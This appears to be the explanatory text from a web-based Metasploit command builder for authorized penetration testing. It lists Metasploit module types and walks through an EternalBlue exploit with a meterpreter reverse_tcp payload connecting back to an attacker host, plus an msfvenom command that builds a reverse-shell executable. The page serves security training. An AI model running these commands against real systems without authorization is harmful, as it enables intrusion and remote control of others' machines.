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What Is the Metasploit Command Builder
The Metasploit Command Builder helps security professionals construct valid Metasploit Framework commands for authorized penetration testing. Metasploit is the most widely used open-source penetration testing framework, providing over 2,300 exploit modules, 600+ auxiliary modules, and hundreds of payloads that security teams use to identify vulnerabilities in their own systems.
Building Metasploit commands involves selecting the right module, configuring options (target host, port, payload, encoding), and setting advanced parameters. The command syntax can be complex, especially for multi-stage payloads, pivoting, and post-exploitation modules. A command builder simplifies this process by providing a structured interface for assembling valid msfconsole or msfvenom commands.
How Metasploit Commands Work
Metasploit operates through a modular architecture:
| Module Type | Purpose | Example |
|---|---|---|
| Exploit | Delivers payload by exploiting a vulnerability | exploit/windows/smb/ms17_010_eternalblue |
| Auxiliary | Scanning, fuzzing, fingerprinting (no payload) | auxiliary/scanner/portscan/tcp |
| Payload | Code that runs on the target after exploitation | windows/meterpreter/reverse_tcp |
| Post | Post-exploitation data gathering and pivoting | post/windows/gather/hashdump |
| Encoder | Obfuscates payloads (for evasion testing) | encoder/x86/shikata_ga_nai |
Standard workflow:
- Select a module:
use exploit/windows/smb/ms17_010_eternalblue - Set required options:
set RHOSTS 192.168.1.0/24(target),set LHOST 192.168.1.100(attacker) - Choose a payload:
set PAYLOAD windows/meterpreter/reverse_tcp - Configure payload options:
set LPORT 4444 - Execute:
exploitorrun
msfvenom generates standalone payloads: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
Common Use Cases
- Vulnerability validation: Confirm that detected vulnerabilities are actually exploitable in your environment
- Security control testing: Test whether IDS/IPS, firewalls, and EDR solutions detect and block known exploit techniques
- Red team exercises: Simulate real-world attack chains during authorized penetration tests
- Security training: Learn exploitation techniques in lab environments to understand attacker methodologies
- Payload generation: Create test payloads for evaluating endpoint detection capabilities
Best Practices
- Always obtain written authorization — Never use Metasploit against systems you do not own or have explicit written permission to test
- Use in isolated lab environments for learning — Set up VMs with intentionally vulnerable systems (Metasploitable, HackTheBox) for safe practice
- Document every action — Log all commands, timestamps, and results for compliance and reporting
- Start with auxiliary modules — Use scanners and fingerprinting before attempting exploitation to understand the target
- Clean up after testing — Remove any artifacts, backdoors, or test accounts created during the engagement
ℹ️ Disclaimer
This tool is provided for informational and educational purposes only. All processing happens entirely in your browser - no data is sent to or stored on our servers. While we strive for accuracy, we make no warranties about the completeness or reliability of results. Use at your own discretion.